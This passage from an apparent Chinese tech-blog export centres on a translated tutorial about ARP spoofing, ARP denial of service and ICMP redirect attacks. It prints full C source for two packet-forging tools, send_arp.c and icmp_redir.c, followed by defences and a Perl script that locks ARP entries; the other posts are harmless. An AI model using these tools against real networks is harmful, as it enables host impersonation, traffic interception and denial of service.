吋的片幅为标准。\n","permalink":"https://hessian.cn/p/425.html","summary":" 菲林的基本组成部分别是：（1）用作感光的药膜（又称「乳剂」）；以及用作承托药膜的（2）片基（Film base）。\n（1）药膜（乳剂）\n药膜是由在菲林胶片表层（片基）上的感光化学物质，它们由一些感光的晶体微粒组成，而菲林的片基，则是透明的胶片，用作承托药膜。\n","title":"[转]什么是菲林"},{"content":"对于旁观者来说，事物的缺点和优点往往是同时存在的。我很高兴可以向你们显示两\n个正规的协议\u0026mdash;\u0026mdash;arp和icmp，当你用一些特殊的方法使用它们的时候，却得到意想不到的结果。\n相对于被动攻击（网络监听sniffing）来说，主动攻击使用的并不普遍\u0026mdash;\u0026mdash;许多管理\n员都拥有一个网络监听工具，帮助他们管理局域网。在你的LAN中，主动攻击将会给你的生活添\n加光彩和乐趣。你知道，仅仅是一些技术细节使得这些角落有些昏暗不明。那么，我们去看看\n那里究竟有些是什么。\n我们首先描述一下网络欺骗（spoofing）和拒绝服务（DoS-deny of service）。象IP\n盲攻击一样，网络攻击常常非常普通并且功能强大，但是对使用者来说，需要做大量的工作（常\n常是猜），而且难于实行。但是ARP欺骗正好相反，它非常容易使用且方便。\n一、ARP欺骗\nARP欺骗往往应用于一个内部网络，我们可以用它来扩大一个已经存在的网络安全漏洞。\n如果你可以入侵一个子网内的机器，其它的机器安全也将受到ARP欺骗的威胁。\n让我们考虑一下的网络结构\nIP 10.0.0.1 10.0.0.2 10.0.0.3 10.0.0.4\nhostname cat rat dog bat\nhw addr AA:AA BB:BB CC:CC DD:DD\n所有的主机在以太网中以简单的方式进行连接（没有交换机，智能HUB）。你是cat，你\n具有root权限，你的目标是侵入dog。而你知道dog信任rat，所以如果你能伪装成rat，那么你就\n能获得一些意外的东西。\n也许你首先想到的是，\u0026ldquo;为什么我不把我的IP设成rat的，然后\u0026#8230;\u0026rdquo;，这种方式无法工\n作，无法可靠的工作。如果你将cat的IP设置成10.0.0.2，那么cat将以这个IP回答ARP请求。但\n是rat也会的。这样你们就进入了一个纯粹的竞争状态，而这场比赛没有赢家。相反的，你会轻\n易的输掉这场比赛，因为许多工具会立即发现这种IP冲突的现象，抱怨之声随之而来。一些网络\n交通分析工具还常常对它进行纪录。在网络管理员的日志文件中还会保留一条恶心的纪录（cat\n的物理地址），这可不是你想要的。你的不到你想要的东西，并且与你的目标背道而驰。\n这个东西是你想要的，一个攻击程序\u0026mdash;\u0026mdash;send_arp.c，一个非常有效的工具。正如它的\n名字所示，它发送一个ARP包（ARP回答，准确的说：由于这个协议是无状态的，即使在没有请求\n的时候也可以做出应答。请求同应答是一样的。）向网络上，你可以把这个包做成你想要的样子。\n而你想要的只不过是可以去定制源IP与目的IP，还有硬件地址。\n当你进行ARP欺骗的时候，你不希望你的网卡乱说话，那么你可以用\u0026ldquo;ifconfig eth0 -arp\u0026rdquo;\n关掉你的ARP协议。当然，无论如何你都需要ARP的信息，手动的构建它并使它发向内核。重要的\n事你要获得你周围人们的信任。在这个例子中，你希望dog认为rat的硬件地址是AA:AA（cat），\n所以你发送一个ARP应答，它的源地址是10.0.0.2,源硬件地址是AA:AA,目标地址是10.0.0.3和目\n标硬件地址是CC:CC。现在，dog完全相信rat的硬件地址是AA:AA。当然dog中缓存会过期，所以它\n需要更新（重新发送请求）。多长时间发出请求，各个操作系统不同，但是大多来说是40秒钟左\n右。经常发送ARP应答，这对你来说不会有坏处的。\n对于ARP缓存处理方法的不同会带来问题的复杂性。一些操作系统（例如Linux）会用向\n缓存地址发非广播的ARP请求来要求更新缓存（就象你妻子打电话来看你在不在一样）。这种缓\n存更新会给你增加麻烦，会使你刚刚伪造的ARP缓存被更改掉，所以必须避免此事发生。经常的\n向dog发出应答数据，这样它就不会发出请求。正是预防为主。对于rat来说，它根本就没有机会\n来改变这一切。\n所以过程是简单的。首先来设置网络接口别名（ifconfig eth0:1 10.0.0.2），添加rat\n的IP地址并且打开ARP协议（ifconfig eth0 arp）\u0026mdash;\u0026mdash;你需要设置你的ARP缓存，当没有ARP时，\n它不会工作。然后在正确的网络接口上设置到dog的路由。再设置dog的ARP缓存。最后，关掉网络\n接口的ARP功能。这样一切就OK了。\n现在，当你用send_arp将毒液注入之后（dog和rat），那么，dog就会认为，你就是rat。\n一定要记住，要持续不断的向dog和rat发出ARP包。\n这种攻击方式就仅仅工作在局域网内（通常的，ARP包是不会路由的）。一个有趣的尝试\n是，把我们上述试验中dog替换成路由器，如果可以实现的话（我不确定它是否会永远成立，路由\n器的ARP功能不是那么容易欺骗的），你可以轻易的冒充这个局域网内的机器去欺骗这个Internet\n世界了。所以目标可以是任何一台机器，但是你要伪装的机器，必须是这个局域网内的。\n除了欺骗以外，你还可以用ARP作很多事。蓝天之下，皆可任你遨游。或者，DoS也是一个\n非常有用的程序。\n给rat一个错误的硬件地址，是一个非常有效的让它闭嘴的方法。你可以避免它向一些特\n殊的机器发出请求（一个ARP缓冲池通常可以容括整个网络的内容，所以你可以在一段时间内有效\n的防止它向其它机器发出请求）。非常明显目标也可以是一台路由器。干扰缓存需要两步：搅乱被\n伪装的机器和你不希望它与之通讯的机器。这种方法不是常常奏效，当这台机器发现缓存中没有目\n标机器时，会主动发出ARP请求。当然你的下一滴毒液会迅速注入，但是你需要经常维持这种状态。\n一个比较有效的方法是，给rat一个错误的dog硬件地址，这样rat既能保持正常的工作状态，又不\n会干扰你的活动。同样的，这种方法也依赖于不同的环境，通常的情况是rat会经常的向错误的目\n标发出各种不同的包，目标会返回ICMP不可抵达信息，从而用一种不正当的方式维持了连接。这种\n伪装的连接可以推迟缓存的更新时间。在Linux上，我们可以是更新时间从1分钟提升到10分钟。在\n这一段时间内，你已经可以完成一个TCP连接可以完成的大多数事情了。\n这里存在一个有趣被称为\u0026ldquo;无理ARP\u0026rdquo;。在这个ARP请求包中，源IP与目的IP是相同的，通\n常它是经过以太网广播进行发送。一些执行程序认为这是一种特殊情况\u0026mdash;\u0026mdash;系统发出的自身更新信\n息，并且将这个请求添加在自己的缓存中。这种方式里，影响的是整个网络。这是毋庸置疑的，但\n这并不是ARP协议的一部分，而是由执行者决定是否作（或是不作），这渐渐的变得不受人欢迎。\nARP也可以用来开一些非常专业的笑话。假想一下某人设置了一个中继器或者是一个管道，\n仅仅是利用自己的机器去骗取两台相邻机器的信任，并且把通讯的包都发给这台机器。如果这台机\n器仅仅是转发数据，那么谁也不会发现。但是当它仅仅作一些很少的改动时，就会给你添加非常大\n的麻烦。例如，随机的更改数据包中的几位，这样就会造成校验和错误。数据流好像是毫发无损，\n却会毫无原因的出现不可预料的错误。\n二、ICMP重定向\n另外一个比较有效的并且类似与ARP欺骗的手段是利用另外一个正常的协议\u0026mdash;\u0026mdash;ICMP重\n定向。这种重定向通常是由你的默认路由器发来的，通告你有一个到达某一网络的更近的路由。\n最初，既可以通告网络重定向，也可以通告主机的重定向，但是现在，由于网络重定向被否决，\n仅剩下了主机重定向。正确的制作一个经过完整检查的ICMP包（必须由默认路由器发来，发向重\n定向机器，新的路由应该是一个网络的直接连接等等），接收者会对系统的路由表进行更新。\n这是ICMP的安全问题。伪装一个路由器的IP地址是简单的，icmp_redir.c正是作的这个\n工作。RFC声明系统必须遵循这个重定向，除非你是路由器。实际上几乎所有的系统都支持这一\n点（除了vanilla Linux 2.0.30）。\nICMP重定向提供了一个非常有力的DoS工具。不像ARP缓存更新，路由表不存在的过期问\n题。并且不需要在本地网络，你可以发起攻击从任何地方。所以当目标接受了ICMP重定向之后（\n包确切抵达），目标就不会再和网络上的一些机器进行通讯（是的，并不是所有的机器，但是一\n些与目标机器不在同一个网络上的机器）。域名服务器会是一个非常好的攻击目标。\n/* send_arp.c\n这个程序发送ARP包，由使用者提供源/目的IP和网卡地址。编译并运行在Linux环境下，\n也可以运行在其它的有SOCK_PACKET的Unix系统上。\n这个程序是对上述理论的验证，仅此而已。\n*/\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;ctype.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;string.h\u0026gt;\n#include \u0026lt;errno.h\u0026gt;\n#include \u0026lt;netdb.h\u0026gt;\n#include \u0026lt;sys/socket.h\u0026gt;\n#include \u0026lt;linux/in.h\u0026gt;\n#include \u0026lt;arpa/inet.h\u0026gt;\n#include \u0026lt;linux/if_ether.h\u0026gt;\n#define ETH_HW_ADDR_LEN 6\n#define IP_ADDR_LEN 4\n#define ARP_FRAME_TYPE 0x0806\n#define ETHER_HW_TYPE 1\n#define IP_PROTO_TYPE 0x0800\n#define OP_ARP_REQUEST 2\n#define DEFAULT_DEVICE \u0026quot;eth0\u0026quot;\nchar usage[]={\u0026quot;send_arp: sends out custom ARP packet.n\ntusage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addrnn\u0026quot;};\nstruct arp_packet {\nu_char targ_hw_addr[ETH_HW_ADDR_LEN];\nu_char src_hw_addr[ETH_HW_ADDR_LEN];\nu_short frame_type;\nu_short hw_type;\nu_short prot_type;\nu_char hw_addr_size;\nu_char prot_addr_size;\nu_short op;\nu_char sndr_hw_addr[ETH_HW_ADDR_LEN];\nu_char sndr_ip_addr[IP_ADDR_LEN];\nu_char rcpt_hw_addr[ETH_HW_ADDR_LEN];\nu_char rcpt_ip_addr[IP_ADDR_LEN];\nu_char padding[18];\n};\nvoid die(char *);\nvoid get_ip_addr(struct in_addr*,char*);\nvoid get_hw_addr(char*,char*);\nint main(int argc,char** argv){\nstruct in_addr src_in_addr,targ_in_addr;\nstruct arp_packet pkt;\nstruct sockaddr sa;\nint sock;\nif(argc != 5)die(usage);\nsock=socket(AF_INET,SOCK_PACKET,htons(ETH_P_RARP));\nif(sock\u0026lt;0){\nperror(\u0026quot;socket\u0026quot;);\nexit(1);\n}\npkt.frame_type = htons(ARP_FRAME_TYPE);\npkt.hw_type = htons(ETHER_HW_TYPE);\npkt.prot_type = htons(IP_PROTO_TYPE);\npkt.hw_addr_size = ETH_HW_ADDR_LEN;\npkt.prot_addr_size = IP_ADDR_LEN;\npkt.op=htons(OP_ARP_REQUEST);\nget_hw_addr(pkt.targ_hw_addr,argv[4]);\nget_hw_addr(pkt.rcpt_hw_addr,argv[4]);\nget_hw_addr(pkt.src_hw_addr,argv[2]);\nget_hw_addr(pkt.sndr_hw_addr,argv[2]);\nget_ip_addr(\u0026amp;src_in_addr,argv[1]);\nget_ip_addr(\u0026amp;targ_in_addr,argv[3]);\nmemcpy(pkt.sndr_ip_addr,\u0026amp;src_in_addr,IP_ADDR_LEN);\nmemcpy(pkt.rcpt_ip_addr,\u0026amp;targ_in_addr,IP_ADDR_LEN);\nbzero(pkt.padding,18);\nstrcpy(sa.sa_data,DEFAULT_DEVICE);\nif(sendto(sock,\u0026amp;pkt,sizeof(pkt),0,\u0026amp;sa,sizeof(sa)) \u0026lt; 0){\nperror(\u0026quot;sendto\u0026quot;);\nexit(1);\n}\nexit(0);\n}\nvoid die(char* str){\nfprintf(stderr,\u0026quot;%sn\u0026quot;,str);\nexit(1);\n}\nvoid get_ip_addr(struct in_addr* in_addr,char* str){\nstruct hostent *hostp;\nin_addr-\u0026gt;s_addr=inet_addr(str);\nif(in_addr-\u0026gt;s_addr == -1){\nif( (hostp = gethostbyname(str)))\nbcopy(hostp-\u0026gt;h_addr,in_addr,hostp-\u0026gt;h_length);\nelse {\nfprintf(stderr,\u0026quot;send_arp: unknown host %sn\u0026quot;,str);\nexit(1);\n}\n}\n}\nvoid get_hw_addr(char* buf,char* str){\nint i;\nchar c,val;\nfor(i=0;i\u0026lt;ETH_HW_ADDR_LEN;i++){\nif( !(c = tolower(*str++))) die(\u0026quot;Invalid hardware address\u0026quot;);\nif(isdigit(c)) val = c-\u0026#8216;0\u0026#8217;;\nelse if(c \u0026gt;= \u0026#8216;a\u0026#8217; \u0026amp;\u0026amp; c \u0026lt;= \u0026#8216;f\u0026#8217;) val = c-\u0026#8216;a\u0026#8217;+10;\nelse die(\u0026quot;Invalid hardware address\u0026quot;);\n*buf = val \u0026lt;\u0026lt; 4;\nif( !(c = tolower(*str++))) die(\u0026quot;Invalid hardware address\u0026quot;);\nif(isdigit(c)) val = c-\u0026#8216;0\u0026#8217;;\nelse if(c \u0026gt;= \u0026#8216;a\u0026#8217; \u0026amp;\u0026amp; c \u0026lt;= \u0026#8216;f\u0026#8217;) val = c-\u0026#8216;a\u0026#8217;+10;\nelse die(\u0026quot;Invalid hardware address\u0026quot;);\n*buf++ |= val;\nif(*str == \u0026#8216;:\u0026#8217;)str++;\n}\n}\n\u0026#8212;\nand\n\u0026#8212;\n/* icmp_redir.c\n本程序由用户提供的网关地址发送了一个ICMP主机重定向数据包。在Linux2.0.30\n上测试通过，并且对大多数的Unix机器有效。\n这个程序是对上述理论的验证，仅此而已。\n*/\n#include \u0026lt;stdio.h\u0026gt;\n#include \u0026lt;stdlib.h\u0026gt;\n#include \u0026lt;string.h\u0026gt;\n#include \u0026lt;errno.h\u0026gt;\n#include \u0026lt;unistd.h\u0026gt;\n#include \u0026lt;netdb.h\u0026gt;\n#include \u0026lt;syslog.h\u0026gt;\n#include \u0026lt;sys/socket.h\u0026gt;\n#include \u0026lt;arpa/inet.h\u0026gt;\n#include \u0026lt;netinet/in.h\u0026gt;\n#include \u0026lt;netinet/ip_icmp.h\u0026gt;\n#include \u0026lt;netinet/ip.h\u0026gt;\n#define IPVERSION 4\nstruct raw_pkt {\nstruct iphdr ip; /* This is Linux-style iphdr.\nUse BSD-style struct ip if you want */\nstruct icmphdr icmp;\nstruct iphdr encl_iphdr;\nchar encl_ip_data[8];\n};\nstruct raw_pkt* pkt;\nvoid die(char *);\nunsigned long int get_ip_addr(char*);\nunsigned short checksum(unsigned short*,char);\nint main(int argc,char** argv){\nstruct sockaddr_in sa;\nint sock,packet_len;\nchar usage[]={\u0026quot;icmp_redir: send out custom ICMP host redirect packet.\nyuri volobuev\u0026#8217;97n\ntusage: icmp_redir gw_host targ_host dst_host dummy_hostn\u0026quot;};\nchar on = 1;\nif(argc != 5)die(usage);\nif( (sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) \u0026lt; 0){\nperror(\u0026quot;socket\u0026quot;);\nexit(1);\n}\nsa.sin_addr.s_addr = get_ip_addr(argv[2]);\nsa.sin_family = AF_INET;\npacket_len = sizeof(struct raw_pkt);\npkt = calloc((size_t)1,(size_t)packet_len);\npkt-\u0026gt;ip.version = IPVERSION;\npkt-\u0026gt;ip.ihl = sizeof(struct iphdr) \u0026gt;\u0026gt; 2;\npkt-\u0026gt;ip.tos = 0;\npkt-\u0026gt;ip.tot_len = htons(packet_len);\npkt-\u0026gt;ip.id = htons(getpid() \u0026amp; 0xFFFF);\npkt-\u0026gt;ip.frag_off = 0;\npkt-\u0026gt;ip.ttl = 0x40;\npkt-\u0026gt;ip.protocol = IPPROTO_ICMP;\npkt-\u0026gt;ip.check = 0;\npkt-\u0026gt;ip.saddr = get_ip_addr(argv[1]);\npkt-\u0026gt;ip.daddr = sa.sin_addr.s_addr;\npkt-\u0026gt;ip.check = checksum((unsigned short*)pkt,sizeof(struct iphdr));\npkt-\u0026gt;icmp.type = ICMP_REDIRECT;\npkt-\u0026gt;icmp.code = ICMP_REDIR_HOST;\npkt-\u0026gt;icmp.checksum = 0;\npkt-\u0026gt;icmp.un.gateway = get_ip_addr(argv[4]);\nmemcpy(\u0026amp;(pkt-\u0026gt;encl_iphdr),pkt,sizeof(struct iphdr));\npkt-\u0026gt;encl_iphdr.protocol = IPPROTO_IP;\npkt-\u0026gt;encl_iphdr.saddr = get_ip_addr(argv[2]);\npkt-\u0026gt;encl_iphdr.daddr = get_ip_addr(argv[3]);\npkt-\u0026gt;encl_iphdr.check = 0;\npkt-\u0026gt;encl_iphdr.check = checksum((unsigned short*)\u0026amp;(pkt-\u0026gt;encl_iphdr),\nsizeof(struct iphdr));\npkt-\u0026gt;icmp.checksum = checksum((unsigned short*)\u0026amp;(pkt-\u0026gt;icmp),\nsizeof(struct raw_pkt)-sizeof(struct iphdr));\nif (setsockopt(sock,IPPROTO_IP,IP_HDRINCL,(char *)\u0026amp;on,sizeof(on)) \u0026lt; 0) {\nperror(\u0026quot;setsockopt: IP_HDRINCL\u0026quot;);\nexit(1);\n}\nif(sendto(sock,pkt,packet_len,0,(struct sockaddr*)\u0026amp;sa,sizeof(sa)) \u0026lt; 0){\nperror(\u0026quot;sendto\u0026quot;);\nexit(1);\n}\nexit(0);\n}\nvoid die(char* str){\nfprintf(stderr,\u0026quot;%sn\u0026quot;,str);\nexit(1);\n}\nunsigned long int get_ip_addr(char* str){\nstruct hostent *hostp;\nunsigned long int addr;\nif( (addr = inet_addr(str)) == -1){\nif( (hostp = gethostbyname(str)))\nreturn *(unsigned long int*)(hostp-\u0026gt;h_addr);\nelse {\nfprintf(stderr,\u0026quot;unknown host %sn\u0026quot;,str);\nexit(1);\n}\n}\nreturn addr;\n}\nunsigned short checksum(unsigned short* addr,char len){\nregister long sum = 0;\nwhile(len \u0026gt; 1){\nsum += *addr++;\nlen -= 2;\n}\nif(len \u0026gt; 0) sum += *addr;\nwhile (sum\u0026gt;\u0026gt;16) sum = (sum \u0026amp; 0xffff) + (sum \u0026gt;\u0026gt; 16);\nreturn ~sum;\n}\n三、解决方案\n对于大多数人来说，ARP是一个隐藏的底层协议。你可以时不时的观察它，但是平常不\n会有人对它发生兴趣。你可以用arp命令来检查你的ARP缓存，但是当一个网络出现问题的时候，\n这个并不是我们首先想到的。Windows也存在这个命令，记住这一点也许对你有帮助。但是当一\n个ARP欺骗通过网关从另一个网络发向你时，恐怕你也无能为力了。同样的，你也可以在你的路\n由表中发现重定向的路由信息（route 命令，用\u0026ldquo;D\u0026rdquo;标志来标明）。\nARP攻击设计来攻击10Base2以太网。如果网络已一些比较先进的方式进行连接，通常是\n智能HUB或交换机，那么攻击就很容易被发现，甚至是不可能的（类似于被动攻击）。所以这是\n一个向你的老板要求更新网络设备的理由。\n这么想起来，ICMP重定向真是一个非常疯狂的想法。首先，一些网络的结构非常简单，\n对路由表不需要任何添加；其次，大多数的稳定的网络上，仅仅是用手动的办法来更新路由。这\n并不是一个经常更新的工作，为什么要通过ICMP呢？最后，这个对于你来说是非常危险的，你可\n以在你的系统上关闭ICMP重定向，这样可以减少同RFC1122的冲突。哎，这可不容易呀！在Linux\n这种提供源码的机器上，你可以重新编译内核。在Irix 6.2和一些其它的系统上，可以\u0026ldquo;set\nicmp_dropredirects=1\u0026rdquo;。这与其它的OS，我也不知道有什么办法。\n时间证明了这个真理：不要信任未确认的主机。否则，网络上帝不会对你施予怜悯的。\n一些人认为\u0026ldquo;我有防火墙，我怕谁\u0026rdquo;，认为一些安全问题对它来说无关紧要。我承认防\n火墙的作用，但是这并不是经常有效。\n想象这样一个环境，所有的机器都直接与Internet相连，你不得不与你不了解的人共用\n你的内部网，他们使用的是vanilla SGI 的机器，而他们简直是在到处告诉别人\u0026ldquo;来攻击我吧，\n我的买主使它非常简单\u0026rdquo;（是这样的，那些人认识Unix，从侏罗纪公园\u0026#8230;），另外，通向你的\n路由器由别的机构控制。让我们来到一个标准的网络环境，它会提供我们安全，不受外部的攻击。\n人们在这里工作，使用电脑。同样，这里的每台机器也存在安全问题。所以，当你下一次提到防\n火墙的时候，请记住它并不能保护每一个人。\nJohn Goerzen提供了一个Perl脚本，可以在系统启动时运行。它主要是在Linux机器中\n维持一个已知的IP地址与硬件地址的缓存，设置标志，以使其不会被更新和改变。配置文件非常\n简单\u0026mdash;\u0026mdash;IP addr 配 MAC addr，用空格键分割，\u0026ldquo;#\u0026rdquo;作为注释。\n这个脚本仅仅在Linux机器上测试过\u0026mdash;\u0026mdash;在其它平台上的人需要修改arp命令的格式。\n注意：脚本需要运行在网络接口启动之后，服务和客户运行之前；另外，一些人会在\nARP被锁定时窃取连接。以下是它的脚本：\n#!/usr/bin/perl\n# Program: forcehwaddr\n# Program to run ARP to force certain tables.\n# Specify filenames to read from on command line, or read from stdin.\nforeach (\u0026lt;\u0026gt;) { # For each input line\u0026#8230;.\nchomp; # Strip if CR/LF\nif (/^#/) { next; } # If it\u0026#8217;s a comment, skip it.\nif (((($host, $hw) = /s*(.+?)s+(S+)s*/) == 2) \u0026amp;\u0026amp;\n!(/^#/)) {\n# The text between the slashes parses the input line as follows:\n# Ignore leading whitespace. (s*)\n# Then, start matching and put it into $host ($host, (.+?))\n# Skip over the whitespace after that (s+)\n# Start matching. Continue matching until end of line or optional\n# trailing whitespace.\n# Then, the if checks to see that both a\n# host and a hardware address were matched.\n# (2 matches). If not, we skip the\n# line (assuming it is blank or invalid or something).\n# The second part of the if checks to see if the line starts with\n# a pound sign; if so, ignore it (as a comment).\n# Otherwise, run the appropriate command:\nprintf(\u0026quot;Setting IP %-15s to hardware address %sn\u0026quot;, $host, $hw);\nsystem \u0026quot;/usr/sbin/arp -s $host $hwn\u0026quot;;\n}\n}\n","permalink":"https://hessian.cn/p/472.html","summary":"对于旁观者来说，事物的缺点和优点往往是同时存在的。我很高兴可以向你们显示两\n个正规的协议\u0026mdash;\u0026mdash;arp和icmp，当你用一些特殊的方法使用它们的时候，却得到意想不到的结果。\n相对于被动攻击（网络监听sniffing）来说，主动攻击使用的并不普遍\u0026mdash;\u0026mdash;许多管理\n员都拥有一个网络监听工具，帮助他们管理局域网。在你的LAN中，主动攻击将会给你的生活添\n加光彩和乐趣。你知道，仅仅是一些技术细节使得这些角落有些昏暗不明。那么，我们去看看\n那里究竟有些是什么。\n我们首先描述一下网络欺骗（spoofing）和拒绝服务（DoS-deny of service）。象IP\n盲攻击一样，网络攻击常常非常普通并且功能强大，但是对使用者来说，需要做大量的工作（常\n常是猜），而且难于实行。但是ARP欺骗正好相反，它非常容易使用且方便。\n","title":"关于ARP和ICMP"},{"content":"在控制面板的「字体」设置里，「安装新字体」这个项目不见了，无法新增字体该怎么办？ 其实，应该不只有「安装新字体」这个项目不见，开启旧文件、打印，以及在字体菜单上的「查看」里，隐藏字体变化、依相似性列出字体，这些都有可能会不见。\n造成这种情形的原因可能有三种：\n\u0026middot;Fonts 数据夹的属性不是「系统」与「只读」（Fonts 文件夹属性一定要是系统与只读）。\n\u0026middot;C:WindowsFonts 下的 Desktop.ini 文件损坏。\n\u0026middot;C:WindowsSystem 下的 Fontext.dll 文件损坏。\nFonts 文件夹的属性不是「系统」与「只读」的解决方法：\n\u0026middot;到 MSDOS 模式下，在 C:/\u0026gt; 输入下面的指令，以切换到 Windows 所在文件夹。 \u0026middot;cdwindows \u0026middot;然后再键入 attrib +s +r fonts \u0026middot;关机，然后重新进入 Windows，字体文件夹就可以恢复正常了。\n属性已经更改，但是还是没有「安装新字体」选项，可能是你 Font 文件夹下的Desktop.ini 文件损坏，解决方法如下：\n\u0026middot;启动在 MS-DOS 模式（Command Prompt Only） \u0026middot;从原版光盘中解压缩出 Desktop.ini ， copy 到 C:WindowsFonts 下即可。Desktop.ini 在 Windows 98 是在 Win98_40.cab中，Windiws 98 SE 是在 Win98_51.cab 里。\n以上都试过，仍无效，就是 Fontext.dll 文件损坏，解决方法如下： \u0026middot;启动在 MS-DOS 模式（Command Prompt Only）\n\u0026middot;从原版光盘中解压缩出 Fontext.dll ， copy 到 C:WindowsSystem 下即可（盖掉原先旧的）。\n","permalink":"https://hessian.cn/p/567.html","summary":"在控制面板的「字体」设置里，「安装新字体」这个项目不见了，无法新增字体该怎么办？ 其实，应该不只有「安装新字体」这个项目不见，开启旧文件、打印，以及在字体菜单上的「查看」里，隐藏字体变化、依相似性列出字体，这些都有可能会不见。\n造成这种情形的原因可能有三种：\n\u0026middot;Fonts 数据夹的属性不是「系统」与「只读」（Fonts 文件夹属性一定要是系统与只读）。\n\u0026middot;C:WindowsFonts 下的 Desktop.ini 文件损坏。\n\u0026middot;C:WindowsSystem 下的 Fontext.dll 文件损坏。\nFonts 文件夹的属性不是「系统」与「只读」的解决方法：\n\u0026middot;到 MSDOS 模式下，在 C:/\u0026gt; 输入下面的指令，以切换到 Windows 所在文件夹。 \u0026middot;cdwindows \u0026middot;然后再键入 attrib +s +r fonts \u0026middot;关机，然后重新进入 Windows，字体文件夹就可以恢复正常了。\n属性已经更改，但是还是没有「安装新字体」选项，可能是你 Font 文件夹下的Desktop.ini 文件损坏，解决方法如下：\n\u0026middot;启动在 MS-DOS 模式（Command Prompt Only） \u0026middot;从原版光盘中解压缩出 Desktop.ini ， copy 到 C:WindowsFonts 下即可。Desktop.ini 在 Windows 98 是在 Win98_40.cab中，Windiws 98 SE 是在 Win98_51.cab 里。\n以上都试过，仍无效，就是 Fontext.dll 文件损坏，解决方法如下： \u0026middot;启动在 MS-DOS 模式（Command Prompt Only）\n\u0026middot;从原版光盘中解压缩出 Fontext.dll ， copy 到 C:WindowsSystem 下即可（盖掉原先旧的）。\n","title":"找回丢失的[安装新字体]"},{"content":"一、 一次只运行一个程序实例\n下列两种方式都可以实现，建议采用第二种方式：\n1、 if( FindWindow(NULL,\u0026quot;程序标题\u0026quot;)) \u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; exit(0);\n2、BOOL CDemoTBarEApp::InstanceIsRun()\n{\nHANDLE m_hMutex;\nm_hMutex = ::CreateMutex(NULL, TRUE, _T(\u0026quot;YourApplication\u0026quot;));\nASSERT(m_hMutex);\nif (GetLastError() == ERROR_ALREADY_EXISTS)\n{\nm_hMutex = NULL;\nreturn TRUE;//实例已经运行\n}\nreturn FALSE;//实例未运行\n}\n二、 装载光标\nSetCursor(AfxGetApp()-\u0026gt;LoadStandardCursor(IDC_WAIT));\n其中::SetCursor()是全局函数，用来设置整个例程的光标参数是宏定义光标句柄。AfxGetApp ()是一个系统函数，它返回当前的一个CWinApp对象。其成员函数LoadStandardCursor()用来读取一个系统指针，每一种系统指针的具体宏定义如下：\nIDC_APPSTARTING 带小沙漏的标准箭头\nIDC_ARROW 标准箭头\nIDC_CROSS 十字光标（用于定位）\nIDC_HAND Windows 2000：手型\nIDC_HELP 带问号的箭头\nIDC_IBEAM I型标\nIDC_ICON Obsolete for applications marked version 4.0 or later. IDC_NO\u0026nbsp;\u0026nbsp; 禁止符号\nIDC_SIZE Obsolete for applications marked version 4.0 or later. Use IDC_SIZEALL. IDC_SIZEALL 十字箭头\nIDC_SIZENESW 指向东北和西南的双向箭头\nIDC_SIZENS 指向南和北的双向箭头\nIDC_SIZENWSE 指向西北和东南的双向箭头\nIDC_SIZEWE 指向东西的双向箭头\nIDC_UPARROW 上箭头\nIDC_WAIT 沙漏\n三、获得主框架： CMainFrame * pMainframe = (CMainFrame *) AfxGetApp()-\u0026gt;m_pMainWnd;\n.获取应用程序的实例句柄：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Example: HANDLE hInstance=AfxGetInstanceHandle();\n获得应用程序主窗口的指针：\n\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp;\u0026nbsp; Example: AfxGetMainWnd() -\u0026gt;ShowWindow(SW_SHOWMAXMIZED); //使程序最大化\n四、重新建立字体的代码\nif(m_fontLogo.m_hObject)\nm_fontLogo.Detach();\nm_fontLogo.CreateFont(nHeight, 0, 0, 0, nWeight, bItalic, bUnderline,0,0,0,0,0,0, Name);\n五、用指定颜色填充区域\ndc.FillSolidRect(rect, ::GetSysColor(COLOR_3DFACE));\n六、绘制立体字体效果的字体，很值得一看\nvoid CTestView::OnPaint() {\nCPaintDC dc(this); // device context for painting\nCRect rect;\nGetWindowRect(rect);\nCFont m_fontLogo;\nm_fontLogo.CreateFont(24, 0, 0, 0, FW_BOLD, true,\nFALSE,0,0,0,0,0,0, \u0026quot;Arial\u0026quot;);\nCString m_LogoText;\nm_LogoText=_T(\u0026quot;Benlux Pro3D System\u0026quot;);\ndc.SetBkMode(TRANSPARENT);\nCFont * OldFont = dc.SelectObject(\u0026amp;m_fontLogo);\n// draw text in DC\nCOLORREF OldColor = dc.SetTextColor( ::GetSysColor( COLOR_3DHILIGHT));\nrect.right = rect.Width();\nrect.bottom = rect.Height();\nrect.left = rect.top = 0;\ndc.FillSolidRect(rect, ::GetSysColor(COLOR_3DFACE));\ndc.DrawText( m_LogoText, rect + CPoint(1,1), DT_SINGLELINE | DT_LEFT | DT_VCENTER);\ndc.SetTextColor( ::GetSysColor( COLOR_3DSHADOW));\ndc.DrawText( m_LogoText, rect, DT_SINGLELINE | DT_LEFT | DT_VCENTER);\n// restore old text color\ndc.SetTextColor( OldColor);\n// restore old font\ndc.SelectObject(OldFont); // Do not call CView::OnPaint() for painting messages\n}\n七、简单的消息检索和抽取函数，能够让系统响应其它操作\nBOOL PeekAndPump()\n{\nstatic MSG msg;\nwhile (::PeekMessage(\u0026amp;msg,NULL,0,0,PM_NOREMOVE)) {\nif (!AfxGetApp()-\u0026gt;PumpMessage()) {\n\u0026nbsp;\u0026nbsp; ::PostQuitMessage(0);\n\u0026nbsp;\u0026nbsp; return FALSE;\n} }\nreturn TRUE;\n}\n八、在你的程序中用动画光标替换默认的等待光标 (ANI光标的使用)\nHCURSOR m_hAniCursor=NULL;\nBeginWaitCursor();\u0026nbsp;\u0026nbsp; //begin wait cursor for api function\n//load ani cursor from file in current path\nTCHAR cursorPath[MAX_PATH]; GetModuleFileName(NULL,cursorPath,MAX_PATH);\nchar drive[_MAX_DRIVE];\nchar dir[_MAX_DIR];\nchar fname[_MAX_FNAME];\nchar ext[_MAX_EXT];\n_splitpath(cursorPath, drive, dir, fname, ext );\nsprintf(cursorPath,\u0026quot;%s%swait.ani\u0026quot;,drive,dir); //ani cursor file name is wait.ani\nm_hAniCursor= LoadCursorFromFile(cursorPath);\nHCURSOR oldCursor;\nif(m_hAniCursor 